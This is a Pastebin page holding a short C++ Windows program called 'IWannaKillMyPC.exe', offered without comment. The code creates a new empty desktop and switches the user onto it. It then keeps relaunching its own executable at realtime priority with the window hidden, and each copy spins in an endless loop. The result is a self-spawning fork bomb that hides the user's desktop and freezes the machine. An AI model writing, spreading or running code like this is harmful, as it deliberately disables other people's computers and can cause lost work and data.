Advertisement
neongm

Untitled

Oct 2nd, 2021
1,141
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 0.97 KB | None | 0 0
  1. #include <windows.h>
  2.  
  3. #define DESC_NAME TEXT("HDSKTP")
  4. #define THIS_FILE_NAME TEXT("IWannaKillMyPC.exe")
  5.  
  6. HDESK create_desctop(LPCWSTR _desc_name)
  7. {
  8.     HDESK desctop = CreateDesktop(_desc_name, NULL, NULL, 0, GENERIC_ALL, NULL);
  9.     return desctop;
  10. }
  11.  
  12. bool desctop_with_this_name_exists(LPCWSTR _desc_name)
  13. {
  14.     HDESK target_desc = OpenDesktop(_desc_name, NULL, FALSE, GENERIC_ALL);
  15.     if (!target_desc) return false;
  16.     return true;
  17. }
  18.  
  19. void destroy_my_runtime()
  20. {
  21.     STARTUPINFO startup_info = { sizeof(startup_info) };
  22.     PROCESS_INFORMATION process_info;
  23.     TCHAR CmdLine[] = THIS_FILE_NAME;
  24.     bool creationResult = CreateProcess(
  25.         NULL,
  26.         CmdLine,
  27.         NULL,
  28.         NULL,
  29.         FALSE,
  30.         REALTIME_PRIORITY_CLASS | HIDE_WINDOW,
  31.         NULL,
  32.         NULL,
  33.         &startup_info,
  34.         &process_info
  35.     );
  36.     while (1) {}
  37. }
  38.  
  39. int main()
  40. {
  41.     SwitchDesktop(create_desctop(DESC_NAME));
  42.     destroy_my_runtime();
  43. }
  44.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement